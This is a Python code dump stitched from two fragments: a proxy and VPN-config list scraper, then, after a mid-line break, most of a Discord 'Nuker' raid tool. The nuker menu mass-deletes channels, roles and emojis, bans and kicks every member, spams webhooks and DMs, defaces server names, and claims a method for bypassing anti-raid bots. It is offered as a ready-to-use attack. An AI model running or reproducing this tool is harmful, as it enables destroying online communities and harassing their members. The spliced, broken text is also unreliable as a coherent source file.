except: 60 | pass 61 | if PROX == "2": 62 | f = open(Name_File,'wb') 63 | SOCKS5 = [ 64 | "https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all&simplified=true", 65 | "https://www.proxy-list.download/api/v1/get?type=socks5", 66 | "https://www.proxyscan.io/download?type=socks5", 67 | "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt", 68 | "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt", 69 | "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt", 70 | "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks5.txt", 71 | "https://api.openproxylist.xyz/socks5.txt", 72 | "https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5", 73 | "https://openproxylist.xyz/socks5.txt", 74 | "https://proxyspace.pro/socks5.txt", 75 | "https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/SOCKS5.txt", 76 | "https://raw.githubusercontent.com/manuGMG/proxy-365/main/SOCKS5.txt", 77 | "https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks5.txt", 78 | "https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS5_RAW.txt", 79 | "https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/socks5.txt", 80 | ] 81 | for api in SOCKS5: 82 | try: 83 | r = requests.get(api,timeout=5) 84 | if Save == "y" or Save == "Y": 85 | for Line in r.text.split('\n'): 86 | sleep(0.5) 87 | print (f"{lrd}[{lgn}+{lrd}] {lgn}SOCKS5 : {gn}{Line}\n\n") 88 | else:f.write(r.content) 89 | except: 90 | pass 91 | f.close() 92 | if PROX == "3": 93 | f = open(Name_File,'wb') 94 | HTTP = [ 95 | "https://api.proxyscrape.com/?request=displayproxies&proxytype=http", 96 | "https://www.proxy-list.download/api/v1/get?type=http", 97 | "https://www.proxyscan.io/download?type=http", 98 | "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/http.txt", 99 | "https://api.openproxylist.xyz/http.txt", 100 | "https://raw.githubusercontent.com/shiftytr/proxy-list/master/proxy.txt", 101 | "http://alexa.lr2b.com/proxylist.txt", 102 | "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt", 103 | "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", 104 | "https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt", 105 | "https://raw.githubusercontent.com/opsxcq/proxy-list/master/list.txt", 106 | "https://proxy-spider.com/api/proxies.example.txt", 107 | "https://multiproxy.org/txt_all/proxy.txt", 108 | "https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt", 109 | "https://raw.githubusercontent.com/UserR3X/proxy-list/main/online/http.txt", 110 | "https://raw.githubusercontent.com/UserR3X/proxy-list/main/online/https.txt", 111 | "https://api.proxyscrape.com/v2/?request=getproxies&protocol=http", 112 | "https://openproxylist.xyz/http.txt", 113 | "https://proxyspace.pro/http.txt", 114 | "https://proxyspace.pro/https.txt", 115 | "https://raw.githubusercontent.com/almroot/proxylist/master/list.txt", 116 | "https://raw.githubusercontent.com/aslisk/proxyhttps/main/https.txt", 117 | "https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/HTTP.txt", 118 | "https://raw.githubusercontent.com/hendrikbgr/Free-Proxy-Repo/master/proxy_list.txt", 119 | "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-https.txt", 120 | "https://raw.githubusercontent.com/mertguvencli/http-proxy-list/main/proxy-list/data.txt", 121 | "https://raw.githubusercontent.com/mmpx12/proxy-list/master/http.txt", 122 | "https://raw.githubusercontent.com/mmpx12/proxy-list/master/https.txt", 123 | "https://raw.githubusercontent.com/proxy4parsing/proxy-list/main/http.txt", 124 | "https://raw.githubusercontent.com/RX4096/proxy-list/main/online/http.txt", 125 | "https://raw.githubusercontent.com/RX4096/proxy-list/main/online/https.txt", 126 | "https://raw.githubusercontent.com/saisuiu/uiu/main/free.txt", 127 | "https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/http.txt", 128 | "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt", 129 | "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/https.txt", 130 | "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt", 131 | "https://rootjazz.com/proxies/proxies.txt", 132 | "https://sheesh.rip/http.txt", 133 | "https://www.proxy-list.download/api/v1/get?type=https", 134 | ] 135 | for api in HTTP: 136 | try: 137 | r = requests.get(api,timeout=5) 138 | if Save == "y" or Save == "Y": 139 | for Line in r.text.split('\n'): 140 | sleep(0.5) 141 | print (f"{lrd}[{lgn}+{lrd}] {lgn}HTTP : {gn}{Line}\n\n") 142 | else:f.write(r.content) 143 | except: 144 | pass 145 | f.close() 146 | 147 | if PROX == "4": 148 | f = open(Name_File,'wb') 149 | HTTPS = ["https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/https.txt", 150 | "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-https.txt", 151 | ] 152 | for api in HTTPS: 153 | try: 154 | r = requests.get(api,timeout=5) 155 | if Save == "y" or Save == "Y": 156 | for Line in r.text.split('\n'): 157 | sleep(0.5) 158 | print (f"{lrd}[{lgn}+{lrd}] {lgn}HTTPS : {gn}{Line}\n\n") 159 | else:f.write(r.content) 160 | except: 161 | pass 162 | f.close() 163 | 164 | if PROX == "5": 165 | f = open(Name_File,'wb') 166 | Config = [ 167 | "https://raw.githubusercontent.com/Bardiafa/Free-V2ray-Config/main/Sub1.txt", 168 | "https://raw.githubusercontent.com/Bardiafa/Free-V2ray-Config/main/Sub2.txt", 169 | "https://raw.githubusercontent.com/Bardiafa/Free-V2ray-Config/main/Sub3.txt", 170 | "https://raw.githubusercontent.com/Bardiafa/Free-V2ray-Config/main/Sub4.txt", 171 | "https://raw.githubusercontent.com/Bardiafa/Free-V2ray-Config/main/Sub5.txt", 172 | "https://raw.githubusercontent.com/Bardiafa/Free-V2ray-Config/main/Sub6.txt", 173 | "https://raw.githubusercontent.com/Bardiafa/Free-V2ray-Config/main/Sub7.txt", 174 | "https://raw.githubusercontent.com/Bardiafa/Free-V2ray-Config/main/Sub8.txt", 175 | "https://raw.githubusercontent.com/Bardiafa/Free-V2ray-Config/main/Splitted-By-Protocol/vmess.txt" 176 | ] 177 | for api in Config: 178 | try: 179 | r = requests.get(api,timeout=5) 180 | if Save == "y" or Save == "Y": 181 | for Line in r.text.split('\n'): 182 | sleep(0.5) 183 | print (f"{lrd}[{lgn}+{lrd}] {lgn}Config : {gn}{Line}\n\n") 184 | else:f.write(r.content) 185 | except: 186 | pass 187 | f.close() 188 | 189 | if PROX == "6": 190 | f = open(Name_File,'wb') 191 | ShadowSocks = ["https://raw.githubusercontent.com/Bardiafa/Free-V2ray-Config/main/Splitted-By-Protocol/vless.txt","https://raw.githubusercontent.com/freefq/free/master/v2","https://raw.githubusercontent.com/Pawdroid/Free-servers/main/sub","https://raw.githubusercontent.com/tbbatbb/Proxy/master/dist/v2ray.config.txt"] 192 | for api in ShadowSocks: 193 | try: 194 | r = requests.get(api,timeout=5) 195 | if Save == "y" or Save == "Y": 196 | for Line in r.text.split('\n'): 197 | sleep(0.5) 198 | print (f"{lrd}[{lgn}+{lrd}] {lgn}Vless : {gn}{Line}\n\n") 199 | else:f.write(r.content) 200 | except: 201 | pass 202 | f.close() 203 | if PROX == "7": 204 | f = open(Name_File,'wb') 205 | Vless = ["https://raw.githubusercontent.com/awesome-vpn/awesome-vpn/master/all"] 206 | for api in Vless: 207 | try: 208 | r = requests.get(api,timeout=5) 209 | if Save == "y" or Save == "Y": 210 | for Line in r.text.split('\n'): 211 | sleep(0.5) 212 | print (f"{lrd}[{lgn}+{lrd}] {lgn}Trojan/SS : {gn}{Line}\n\n") 213 | else:f.write(r.content) 214 | except: 215 | pass 216 | f.close() 217 | 218 | if PROX == "8": 219 | f = open(Name_File,'wb') 220 | Vless = ["https://raw.githubusercontent.com/mahdibland/ShadowsocksAggregator/master/sub/sub_merge.txt"] 221 | for api in Vless: 222 | try: 223 | r = requests.get(api,timeout=5) 224 | if Save == "y" or Save == "Y": 225 | for Line in r.text.split('\n'): 226 | sleep(0.5) 227 | print (f"{lrd}[{lgn}+{lrd}] {lgn}Random : {gn}{Line}\n\n") 228 | else:f.write(r.content) 229 | except: 230 | pass 231 | f.close() 232 | 233 | print("\n\nHave already downloaded proxies list as "+Name_File) 234 | print (f"\n\n {yw}thank you{lrd} | {gn}channel Telegram :{lgn} @Esfelurm {lrd}| ") 235 | 236 | print (f""" 237 | {yw}Written by {lrd}: {lgn}Hydra {yw}&& {lgn}Esfelurm {yw}| {gn}Version{lrd} : {lgn}2.0.1\n\n 238 | {lrd} ____ {lgn} ____ 239 | {lrd} / __ \ {lgn}/ __ \_________ _ ____ __ 240 | {lrd} / / / /{rd}_____{lgn}/ /_/ / ___/ __ \| |/_/ / / / 241 | {lrd} / /_/ /{rd}_____{lgn}/ ____/ / / /_/ /> github.com/Bad-Discord/Discord-Nuker 99 | 100 | 01. Delete All Channels 08. Webhook Spam Guild 15. Change Guild Icon 101 | 02. Delete All Roles 09. Message Spam Guild 16. Remove all emojis 102 | 03. Ban All Members 10. Rename all channels 17. DM all members 103 | 04. Kick All Members 11. Rename all roles 18. NUKE 104 | 05. Create Channels 12. Nick All Users 19. Exit 105 | 06. Create Roles 13. UnNick All users 106 | 07. Unban All Members 14. Change Guild Name 107 | 108 | 109 | """ 110 | 111 | 112 | async def back_to_manu(): 113 | input(f"{palette.error}\n!! IF YOU WANT TO RETURN TO THE MAIN MENU, PRESS ENTER !!{palette.fuck}\n") 114 | 115 | return await main(token, guild_id) 116 | 117 | nuker = Nuking(token, guild_id) 118 | 119 | print(Colorate.Vertical(Colors.DynamicMIX((Col.light_red, Col.red)), menu)) 120 | num = lambda n: "0"+n if len(n) != 2 else n 121 | pu, re, bl, pi, ye, gr = Col.purple, Col.red, Col.blue, Col.pink, Fore.YELLOW, Fore.GREEN 122 | choice = Funcs.get_input(f"{Col.orange}┌─╼{re}[{palette.grassy_green}${re}] {Col.orange}{info['user']['username']}{palette.red}@{ye}{info['guild']['name']}\n{Col.orange}└────╼{palette.grey} >>{palette.better_purpule} Choose: {Fore.CYAN}", checker=lambda x: x.isnumeric() and int(x) != 0 and int(x) <= 19) 123 | choice = num(choice) 124 | 125 | print() 126 | 127 | 128 | # delete all channels 129 | 130 | if choice == "01": 131 | 132 | url = Tools.api("guilds/%s/channels" % guild_id) 133 | request = req.get(url, headers=headers, proxies=Tools.proxy()) 134 | 135 | if request.status_code != 200: 136 | Logger.Error.error("Failed to fetch channels with status code: %s" % request.status_code) 137 | return await back_to_manu() 138 | 139 | channels = [i["id"] for i in request.json()] 140 | 141 | def deleter(channel_id): 142 | if nuker.delete_channel(channel_id): 143 | Logger.Success.delete(channel_id) 144 | else: 145 | Logger.Error.delete(channel_id) 146 | 147 | Logger.Log.started() 148 | 149 | threads = [] 150 | 151 | for channel in channels: 152 | t = Thread(target=deleter, args=(channel,)) 153 | t.start() 154 | threads.append(t) 155 | time.sleep(global_timeot) 156 | else: 157 | for thread in threads: thread.join() 158 | # time.sleep(10) 159 | return await back_to_manu() 160 | 161 | 162 | 163 | 164 | # delete all roles 165 | 166 | elif choice == "02": 167 | url = Tools.api("guilds/%s/roles" % guild_id) 168 | 169 | request = req.get(url, headers=headers) 170 | 171 | if request.status_code != 200: 172 | Logger.Error.error("Failed to fetch roles with status code: %s" % request.status_code) 173 | return await back_to_manu() 174 | 175 | roles = [i["id"] for i in request.json()] 176 | 177 | def delete_role(role): 178 | status = nuker.delete_role(role) 179 | 180 | if status: 181 | Logger.Success.delete(role) 182 | else: 183 | Logger.Error.delete(role) 184 | 185 | Logger.Log.started() 186 | 187 | threads = [] 188 | 189 | for role in roles: 190 | t = Thread(target=delete_role, args=(role, )) 191 | t.start() 192 | time.sleep(global_timeot) 193 | else: 194 | for thread in threads: thread.join() 195 | return await back_to_manu() 196 | 197 | # mass ban members 198 | 199 | elif choice == "03": 200 | api = Tools.api("/guilds/%s/members" % guild_id) 201 | users = await Tools.break_limit(api, token) 202 | 203 | total = len(users) 204 | members_per_arrary = round(total/6) 205 | 206 | members_1, members_2, members_3, members_4, members_5, members_6 = [],[],[],[],[],[] 207 | 208 | for member in users: 209 | if len(members_1) != members_per_arrary: 210 | members_1.append(member) 211 | else: 212 | if len(members_2) != members_per_arrary: 213 | members_2.append(member) 214 | else: 215 | if len(members_3) != members_per_arrary: 216 | members_3.append(member) 217 | else: 218 | if len(members_4) != members_per_arrary: 219 | members_4.append(member) 220 | else: 221 | if len(members_5) != members_per_arrary: 222 | members_5.append(member) 223 | else: 224 | if len(members_6) != members_per_arrary: 225 | members_6.append(member) 226 | else: 227 | pass 228 | def ban(member): 229 | if nuker.ban(member): 230 | Logger.Success.success("Banned %s %s" % (Fore.YELLOW, member)) 231 | else: 232 | Logger.Error.error("Failed to ban %s %s" % (Fore.RED, member)) 233 | 234 | Logger.Log.started() 235 | while len(members_1) != 0: 236 | 237 | if len(members_1) != 0: 238 | Thread(target=ban, args=(members_1[0], )).start() 239 | members_1.pop() 240 | 241 | if len(members_2) != 0: 242 | Thread(target=ban, args=(members_2[0], )).start() 243 | members_2.pop() 244 | 245 | if len(members_3) != 0: 246 | Thread(target=ban, args=(members_3[0], )).start() 247 | members_3.pop() 248 | 249 | if len(members_4) != 0: 250 | Thread(target=ban, args=(members_4[0], )).start() 251 | members_4.pop() 252 | 253 | if len(members_5) != 0: 254 | Thread(target=ban, args=(members_5[0], )).start() 255 | members_5.pop() 256 | 257 | if len(members_6) != 0: 258 | Thread(target=ban, args=(members_6[0], )).start() 259 | members_6.pop() 260 | 261 | return await back_to_manu() 262 | 263 | # Mass Kick members 264 | 265 | elif choice == "04": 266 | api = Tools.api("/guilds/%s/members" % guild_id) 267 | users = await Tools.break_limit(api, token) 268 | def kick(member): 269 | if nuker.kick(member): 270 | Logger.Success.success("Kicked %s%s" % (Fore.YELLOW, member)) 271 | else: 272 | Logger.Error.error("Failed to kick %s%s" % (Fore.RED, member)) 273 | 274 | total = len(users) 275 | members_per_arrary = round(total/6) 276 | 277 | members_1, members_2, members_3, members_4, members_5, members_6 = [],[],[],[],[],[] 278 | 279 | for member in users: 280 | if len(members_1) != members_per_arrary: 281 | members_1.append(member) 282 | else: 283 | if len(members_2) != members_per_arrary: 284 | members_2.append(member) 285 | else: 286 | if len(members_3) != members_per_arrary: 287 | members_3.append(member) 288 | else: 289 | if len(members_4) != members_per_arrary: 290 | members_4.append(member) 291 | else: 292 | if len(members_5) != members_per_arrary: 293 | members_5.append(member) 294 | else: 295 | if len(members_6) != members_per_arrary: 296 | members_6.append(member) 297 | else: 298 | pass 299 | 300 | Logger.Log.started() 301 | 302 | 303 | while len(members_1) != 0: 304 | 305 | if len(members_1) != 0: 306 | Thread(target=kick, args=(members_1[0], )).start() 307 | members_1.pop() 308 | 309 | if len(members_2) != 0: 310 | Thread(target=kick, args=(members_2[0], )).start() 311 | members_2.pop() 312 | 313 | if len(members_3) != 0: 314 | Thread(target=kick, args=(members_3[0], )).start() 315 | members_3.pop() 316 | 317 | if len(members_4) != 0: 318 | Thread(target=kick, args=(members_4[0], )).start() 319 | members_4.pop() 320 | 321 | if len(members_5) != 0: 322 | Thread(target=kick, args=(members_5[0], )).start() 323 | members_5.pop() 324 | 325 | if len(members_6) != 0: 326 | Thread(target=kick, args=(members_6[0], )).start() 327 | members_6.pop() 328 | 329 | return await back_to_manu() 330 | 331 | # mass create channels 332 | 333 | elif choice == "05": 334 | name = Funcs.get_input("Enter a name for channels: ", lambda x: len(x) < 100 and x != "") 335 | count = Funcs.get_input("How many channels do you want to create? [1,500]: ", lambda x: x.isnumeric() and int(x) != 0 and int(x) <= 500) 336 | count = int(count) 337 | channel_type = Funcs.get_input("Enter the type of the channels: [text, voice]: ", lambda x: x.lower().strip() in ["text", "voice"]) 338 | 339 | types = {"voice": 2, "text": 0} 340 | 341 | Logger.Log.started() 342 | 343 | def create(name, channel_type): 344 | status = nuker.create_channel(name, channel_type) 345 | 346 | if status: 347 | Logger.Success.create(status) 348 | else: 349 | Logger.Error.create(name) 350 | 351 | threads = [] 352 | 353 | for _ in range(count): 354 | t = Thread(target=create, args=(name, types[channel_type])) 355 | t.start() 356 | time.sleep(global_timeot) 357 | else: 358 | for thread in threads: thread.join() 359 | return await back_to_manu() 360 | 361 | 362 | # mass create roles 363 | 364 | elif choice == "06": 365 | name = Funcs.get_input("Enter a name for roles: ", lambda x: len(x) < 100 and x != "") 366 | count = Funcs.get_input("How many roles do you want to create? [1,250]: ", lambda x: x.isnumeric() and int(x) != 0 and int(x) <= 250) 367 | count = int(count) 368 | 369 | Logger.Log.started() 370 | 371 | def create(name): 372 | status = nuker.create_role(name) 373 | if status: 374 | Logger.Success.create(status) 375 | else: 376 | Logger.Error.create(name) 377 | 378 | threads = [] 379 | 380 | for _ in range(count): 381 | t = Thread(target=create, args=(name, )) 382 | t.start() 383 | time.sleep(global_timeot) 384 | else: 385 | for thread in threads: thread.join() 386 | return await back_to_manu() 387 | 388 | elif choice == "07": 389 | url = Tools.api(f"/guilds/{guild_id}/bans") 390 | banned_users = await Tools.break_limit(url, token) 391 | 392 | Logger.Log.started() 393 | 394 | def unban(member): 395 | if nuker.unban(member): 396 | Logger.Success.success("Unbanned %s" % member) 397 | else: 398 | Logger.Error.error("Failed to unban %s" % member) 399 | 400 | threads = [] 401 | 402 | for banned in banned_users: 403 | t = Thread(target=unban, args=(banned, )) 404 | t.start() 405 | threads.append(t) 406 | time.sleep(global_timeot) 407 | else: 408 | for thread in threads: thread.join() 409 | return await back_to_manu() 410 | 411 | elif choice == "08": 412 | url = Tools.api("/guilds/%s/channels" % guild_id) 413 | message = Funcs.get_input("Enter a message for spam: ", lambda x: len(x) <= 4000 and x != "") 414 | count = Funcs.get_input("how many times do you want to send this message? [1, ∞]: ", lambda x: x.isnumeric() and int(x) != 0) 415 | 416 | request = req.get(url, headers=headers) 417 | if not request.status_code == 200: 418 | Logger.Error.error("There was an error while fetching channels: %s" % request.status_code) 419 | return await back_to_manu() 420 | 421 | channels = [i["id"] for i in request.json()] 422 | 423 | chunk_size = round(len(channels) / 2) 424 | 425 | def mass_webhook(channels): 426 | def create_webhook(channel): 427 | status = nuker.create_webhook(channel) 428 | if status: 429 | Logger.Success.create(status) 430 | with open("./Scraped/webhooks.txt", "a") as fp: fp.write(status+"\n") 431 | Thread(target=nuker.send_webhook, args=(status, message, int(count))).start() 432 | else: 433 | Logger.Error.error("Failed to create webhook from %s" % channel) 434 | 435 | for channel in channels: 436 | Thread(target=create_webhook, args=(channel, )).start() 437 | time.sleep(global_timeot) 438 | 439 | channels = Tools.chunker(channels, chunk_size) 440 | Logger.Log.started() 441 | 442 | threads = [] 443 | 444 | for channel_list in channels: 445 | t = Thread(target=mass_webhook, args=(channel_list, )) 446 | t.start() 447 | threads.append(t) 448 | time.sleep(global_timeot) 449 | else: 450 | for thread in threads: thread.join() 451 | return await back_to_manu() 452 | 453 | 454 | elif choice == "09": 455 | url = Tools.api("/guilds/%s/channels" % guild_id) 456 | message = Funcs.get_input("Enter a message for spam: ", lambda x: len(x) <= 4000 and x != "") 457 | count = Funcs.get_input("how many times do you want to send this message? [1, ∞]: ", lambda x: x.isnumeric() and int(x) != 0) 458 | 459 | request = req.get(url, headers=headers) 460 | if not request.status_code == 200: 461 | Logger.Error.error("There was an error while fetching channels: %s" % request.status_code) 462 | return await back_to_manu() 463 | 464 | channels = [i["id"] for i in request.json()] 465 | 466 | def send_message(channel, message): 467 | if nuker.send_message(channel, message): 468 | Logger.Success.success("Sent message in %s%s" % (Fore.BLUE, channel)) 469 | else: 470 | Logger.Error.error("Failed to send message in %s" % channel) 471 | 472 | Logger.Log.started() 473 | 474 | threads = [] 475 | 476 | for i in range(int(count)): 477 | for channel in channels: 478 | t = Thread(target=send_message, args=(channel, message)) 479 | t.start() 480 | threads.append(t) 481 | time.sleep(global_timeot) 482 | else: 483 | for thread in threads: thread.join() 484 | return await back_to_manu() 485 | 486 | elif choice == "10": 487 | url = Tools.api("/guilds/%s/channels" % guild_id) 488 | name = Funcs.get_input("Enter a name for channels: ", lambda x: len(x) <= 100 and x != "") 489 | 490 | request = req.get(url, headers=headers) 491 | if not request.status_code == 200: 492 | Logger.Error.error("There was an error while fetching channels: %s" % request.status_code) 493 | return await back_to_manu() 494 | 495 | channels = [i["id"] for i in request.json()] 496 | 497 | 498 | def rename(channel, name): 499 | if nuker.rename_channel(name, channel): 500 | Logger.Success.success("renamed %s" % channel) 501 | else: 502 | Logger.Error.error("Failed to rename %s" % channel) 503 | 504 | Logger.Log.started() 505 | 506 | threads = [] 507 | 508 | for channel in channels: 509 | t = Thread(target=rename, args=(channel, name)) 510 | t.start() 511 | threads.append(t) 512 | time.sleep(global_timeot) 513 | else: 514 | for thread in threads: thread.join() 515 | return await back_to_manu() 516 | 517 | elif choice == "11": 518 | name = Funcs.get_input("Enter a name for roles: ", lambda x: len(x) <= 100 and x != "") 519 | url = Tools.api("guilds/%s/roles" % guild_id) 520 | 521 | request = req.get(url, headers=headers) 522 | 523 | if request.status_code != 200: 524 | Logger.Error.error("Failed to fetch roles with status code: %s" % request.status_code) 525 | return await back_to_manu() 526 | 527 | roles = [i["id"] for i in request.json()] 528 | 529 | def rename(role_id, name): 530 | if nuker.rename_role(role_id, name): 531 | Logger.Success.success("Renamed %s" % role_id) 532 | else: 533 | Logger.Error.error("Failed to rename %s" % role_id) 534 | 535 | Logger.Log.started() 536 | 537 | threads = [] 538 | 539 | for role in roles: 540 | t = Thread(target=rename, args=(role, name)) 541 | t.start() 542 | threads.append(t) 543 | time.sleep(global_timeot) 544 | else: 545 | for thread in threads: thread.join() 546 | return await back_to_manu() 547 | 548 | 549 | elif choice == "12": 550 | name = Funcs.get_input("Enter a nick name for members: ", lambda x: len(x) <= 100 and x != "") 551 | api = Tools.api("/guilds/%s/members" % guild_id) 552 | users = await Tools.break_limit(api, token) 553 | 554 | def change(member, nick): 555 | if nuker.change_nick(member, nick): 556 | Logger.Success.success("Changed nickname for %s" % member) 557 | else: 558 | Logger.Error.error("Failed to change nickname for %s" % member) 559 | 560 | Logger.Log.started() 561 | 562 | threads = [] 563 | for user in users: 564 | t = Thread(target=change, args=(user, name)) 565 | threads.append(t) 566 | t.start() 567 | time.sleep(global_timeot) 568 | else: 569 | for thread in threads: thread.join() 570 | return await back_to_manu() 571 | 572 | 573 | elif choice == "13": 574 | api = Tools.api("/guilds/%s/members" % guild_id) 575 | users = await Tools.break_limit(api, token) 576 | 577 | def change(member, nick): 578 | if nuker.change_nick(member, nick): 579 | Logger.Success.success("Changed nickname for %s" % member) 580 | else: 581 | Logger.Error.error("Failed to change nickname for %s" % member) 582 | 583 | Logger.Log.started() 584 | 585 | threads = [] 586 | for user in users: 587 | t = Thread(target=change, args=(user, None)) 588 | threads.append(t) 589 | t.start() 590 | time.sleep(global_timeot) 591 | else: 592 | for thread in threads: thread.join() 593 | return await back_to_manu() 594 | 595 | 596 | elif choice == "14": 597 | name = Funcs.get_input("Enter a nick name for guild: ", lambda x: len(x) <= 100 and x != "") 598 | 599 | Logger.Log.started() 600 | 601 | if nuker.rename_guild(name): 602 | Logger.Success.success("Changed Guild name to %s" % name) 603 | else: 604 | Logger.Error.error("Failed to change name") 605 | 606 | return await back_to_manu() 607 | 608 | elif choice == "15": 609 | Cursor.HideCursor() 610 | path = Funcs.get_input("Drag and drop the new icon or enter its path(use 'd' for default icon in root folder): ", lambda x: (x == 'd') or (os.path.exists(x) and (x.endswith(".jpg") or x.endswith(".png") ))) 611 | path = path if not path == 'd' else "./server_icon.png" 612 | 613 | Logger.Log.started() 614 | 615 | if nuker.change_guild_icon(path): 616 | Logger.Success.success("Changed Guild icon") 617 | else: 618 | Logger.Error.error("Failed to change icon") 619 | 620 | Cursor.ShowCursor() 621 | return await back_to_manu() 622 | 623 | 624 | elif choice == "16": 625 | url = Tools.api(f"guilds/{guild_id}/emojis") 626 | request = req.get(url, headers=headers) 627 | 628 | if not request.status_code == 200: 629 | Logger.Error.error("There was an error while fetching guild emojis") 630 | return await back_to_manu() 631 | 632 | emojis = [[i["id"], i["name"]] for i in request.json()] 633 | 634 | Logger.Log.started() 635 | 636 | 637 | for id, name in emojis: 638 | if nuker.remove_emoji(id): 639 | Logger.Success.delete("%s - %s" % (id, name)) 640 | else: 641 | Logger.Error.delete("%s - %s" % (id, name)) 642 | else: 643 | return await back_to_manu() 644 | 645 | elif choice == "17": 646 | message = Funcs.get_input("Enter a message for send to them direct message: ", lambda x: x != "" and len(x) <= 4000) 647 | 648 | api = Tools.api("/guilds/%s/members" % guild_id) 649 | users = await Tools.break_limit(api, token) 650 | 651 | send_dm = lambda user, message: Logger.Success.success("Sent DM to %s" % user) if nuker.send_direct_message(user, message) else Logger.Error.error("Failed to send direct message to %s" % user) 652 | 653 | 654 | threads = [] 655 | 656 | Logger.Log.started() 657 | 658 | 659 | for user in users: 660 | t = Thread(target=send_dm, args=(user, message)) 661 | t.start() 662 | time.sleep(global_timeot + 0.5) 663 | else: 664 | for thread in threads: thread.join() 665 | return await back_to_manu() 666 | 667 | elif choice == "18": 668 | methods = """ 669 | 01. Destroy - deletes all channels, roles, emojis and starts spamming, creating channels and banning members 670 | 02. Bypass - A Method for bypassing Security and AntiRaid Bots 671 | 03. Back 672 | 673 | """ 674 | 675 | 676 | print(palette.better_purpule) 677 | print(methods) 678 | 679 | ch = Funcs.get_input(f"{palette.sexy_blue} Choose: {Fore.CYAN}", checker=lambda x: x.isnumeric() and int(x) != 0 and int(x) <= 4) 680 | ch = num(ch) 681 | 682 | endpoints = { 683 | "channels": "/guilds/%s/channels" % guild_id, 684 | "roles": "/guilds/%s/roles" % guild_id, 685 | "members": "/guilds/%s/members" % guild_id, 686 | "emojis": "/guilds/%s/emojis" % guild_id 687 | } 688 | 689 | async def scrapp(data): 690 | url = Tools.api(endpoints.get(data)) 691 | 692 | if data == "members": 693 | value = await Tools.break_limit(url, token) 694 | return value 695 | else: 696 | request = req.get(url, headers=headers) 697 | if request.status_code == 200: 698 | value = [i["id"] for i in request.json()] 699 | 700 | return value 701 | 702 | else: 703 | return [] 704 | 705 | global names, amount, invite_link 706 | 707 | 708 | if ch == "01": 709 | invite_link = Funcs.get_input("Enter your invite link: ", lambda x: x != "") if not invite_link else invite_link 710 | 711 | 712 | 713 | if not names: 714 | name = Funcs.get_input("Enter your name: ", lambda x: x != "") 715 | names = ["%s fucked up here", 716 | "fucked by %s", 717 | "%s wizzed you ", 718 | "%s was here", 719 | "Nuked by %s", 720 | ""] 721 | names = [i % name for i in names] 722 | 723 | amount = amount if amount else 100 724 | print(palette.error+" The job starts in 3 seconds"+palette.fuck) 725 | time.sleep(3) 726 | 727 | 728 | Logger.Log.started() 729 | print(palette.better_purpule+ "Started scrapping job! ") 730 | 731 | scrapping_datas = ["channels", "roles", "members", "emojis", ] 732 | 733 | for data in scrapping_datas: 734 | print(palette.sky_blue + "Scrapping %s%s " % (palette.better_purpule, data)) 735 | value = await scrapp(data) 736 | value = [i for i in filter(lambda x: x != None, value)] 737 | with open("./Scraped/%s.txt" % data, "w") as file: 738 | file.write('\n'.join(value)) 739 | 740 | s = Logger.Success 741 | e = Logger.Error 742 | 743 | del_channel = lambda id: s.delete(id) if nuker.delete_channel(id) else e.delete(id) 744 | del_role = lambda id: s.delete(id) if nuker.delete_role(id) else e.delete(id) 745 | del_emoji = lambda id: s.delete(id) if nuker.remove_emoji(id) else e.delete(id) 746 | 747 | threads = [] 748 | 749 | def purge_server(): 750 | 751 | def delete_emoji(id): 752 | del_emoji(id) 753 | time.sleep(0.5) 754 | 755 | with open("./Scraped/channels.txt", "r") as file: 756 | channels = [i.strip() for i in file.readlines()] 757 | 758 | with open("./Scraped/roles.txt", "r") as file: 759 | roles = [i.strip() for i in file.readlines()] 760 | 761 | with open("./Scraped/emojis.txt", "r") as file: 762 | emojis = [i.strip() for i in file.readlines()] 763 | 764 | 765 | for channel in channels: 766 | t = Thread(target=del_channel, args=[channel]) 767 | t.start() 768 | threads.append(t) 769 | 770 | for role in roles: 771 | t = Thread(target=del_role, args=[role]) 772 | t.start() 773 | threads.append(t) 774 | 775 | for emoji in emojis: 776 | t = Thread(target=delete_emoji, args=[emoji]) 777 | t.start() 778 | threads.append(t) 779 | 780 | async def ban_members(users): 781 | total = len(users) 782 | members_per_arrary = round(total/6) 783 | 784 | members_1, members_2, members_3, members_4, members_5, members_6 = [],[],[],[],[],[] 785 | 786 | for member in users: 787 | if len(members_1) != members_per_arrary: 788 | members_1.append(member) 789 | else: 790 | if len(members_2) != members_per_arrary: 791 | members_2.append(member) 792 | else: 793 | if len(members_3) != members_per_arrary: 794 | members_3.append(member) 795 | else: 796 | if len(members_4) != members_per_arrary: 797 | members_4.append(member) 798 | else: 799 | if len(members_5) != members_per_arrary: 800 | members_5.append(member) 801 | else: 802 | if len(members_6) != members_per_arrary: 803 | members_6.append(member) 804 | else: 805 | pass 806 | def ban(member): 807 | if nuker.ban(member): 808 | Logger.Success.success("Banned %s %s" % (Fore.YELLOW, member)) 809 | else: 810 | Logger.Error.error("Failed to ban %s %s" % (Fore.RED, member)) 811 | 812 | Logger.Log.started() 813 | while len(members_1) != 0: 814 | 815 | if len(members_1) != 0: 816 | Thread(target=ban, args=(members_1[0], )).start() 817 | members_1.pop() 818 | 819 | if len(members_2) != 0: 820 | Thread(target=ban, args=(members_2[0], )).start() 